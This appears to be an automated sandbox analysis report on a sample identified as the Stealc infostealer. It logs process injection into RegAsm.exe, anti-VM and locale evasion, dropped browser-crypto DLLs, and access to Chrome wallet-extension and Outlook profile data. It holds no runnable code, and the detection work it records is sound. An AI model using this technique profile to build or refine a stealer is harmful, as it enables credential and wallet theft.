Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mozglue.pdbP source: RegAsm.exe, 00000003.00000002.1853131872.000000006C36D000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.3.dr, mozglue.dll.3.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.3.dr, freebl3.dll.3.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.3.dr, freebl3.dll.3.dr
Source:	Binary string: nss3.pdb@ source: RegAsm.exe, 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.3.dr, nss3.dll.3.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.3.dr, softokn3.dll.3.dr
Source:	Binary string: c:\rje\tg\k\obj\Release\ojc.pdb source: file.exe
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.3.dr, vcruntime140[1].dll.3.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.3.dr, msvcp140.dll.3.dr
Source:	Binary string: c:\rje\tg\k\obj\Release\ojc.pdbX source: file.exe
Source:	Binary string: nss3.pdb source: RegAsm.exe, 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.3.dr, nss3.dll.3.dr
Source:	Binary string: mozglue.pdb source: RegAsm.exe, 00000003.00000002.1853131872.000000006C36D000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.3.dr, mozglue.dll.3.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.3.dr, softokn3.dll.3.dr

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00419860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

3_2_00419860

Source: msvcp140.dll.3.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.3.dr	Static PE information: section name: .didat
Source: nss3.dll.3.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.3.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.3.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.3.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.3.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.3.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.3.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.3.dr	Static PE information: section name: .00cfg

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041B035 push ecx; ret		3_2_0041B048
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C32B536 push ecx; ret		3_2_6C32B549

Source: file.exe

Static PE information: section name: .text entropy: 7.994101274971393

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

3_2_00419860

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_3-76467

Source: C:\Users\user\Desktop\file.exe	Memory allocated: 6C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 2590000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 23C0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

API coverage: 6.8 %

Source: C:\Users\user\Desktop\file.exe TID: 7460

Thread sleep time: -922337203685477s >= -30000s

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	3_2_0040E430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00414910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	3_2_00414910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	3_2_0040BE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004016D0 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	3_2_004016D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	3_2_0040DA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00413EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	3_2_00413EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_0040F6B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004138B0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,FindNextFileA,FindClose,	3_2_004138B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00414570 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	3_2_00414570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose,	3_2_0040ED20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040DE10 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	3_2_0040DE10

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00401160 GetSystemInfo,ExitProcess,

3_2_00401160

Source: C:\Users\user\Desktop\file.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: RegAsm.exe, 00000003.00000002.1820758252.000000000145A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: RegAsm.exe, 00000003.00000002.1820758252.00000000014BB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: RegAsm.exe, 00000003.00000002.1820758252.000000000145A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: RegAsm.exe, 00000003.00000002.1820758252.00000000014BB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWC

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_3-76474
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_3-76452
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_3-77630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_3-76455
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_3-76465
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_3-76295
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_3-76495

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0041AD48 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

3_2_0041AD48

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_004045C0 VirtualProtect ?,00000004,00000100,00000000

3_2_004045C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

3_2_00419860

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00419750 mov eax, dword ptr fs:[00000030h]

3_2_00419750

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00417850 GetProcessHeap,HeapAlloc,GetUserNameA,

3_2_00417850

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041AD48 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_0041AD48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041CEEA SetUnhandledExceptionFilter,	3_2_0041CEEA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041B33A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_0041B33A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C32B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_6C32B66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C32B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6C32B1F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C4DAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6C4DAC62

Source: C:\Users\user\Desktop\file.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 7404, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7476, type: MEMORYSTR

.NET source code references suspicious native API functions

Source: file.exe, Program.cs	Reference to suspicious API methods: GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualProtectEx")
Source: file.exe, Program.cs	Reference to suspicious API methods: GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualProtectEx")
Source: file.exe, Program.cs	Reference to suspicious API methods: GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualProtectEx")

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0259212D GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,CreateProcessA,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,TerminateProcess,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_0259212D

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

Searches for specific processes (likely to inject)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00419600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

3_2_00419600

Writes to foreign memory regions

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 41E000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42B000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 65C000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: F96008	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_6C32B341 cpuid

3_2_6C32B341

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

3_2_00417B90

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00416920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

3_2_00416920

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00417850 GetProcessHeap,HeapAlloc,GetUserNameA,

3_2_00417850

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00417A30 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

3_2_00417A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.3595570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.3595570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1700536753.0000000003595000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
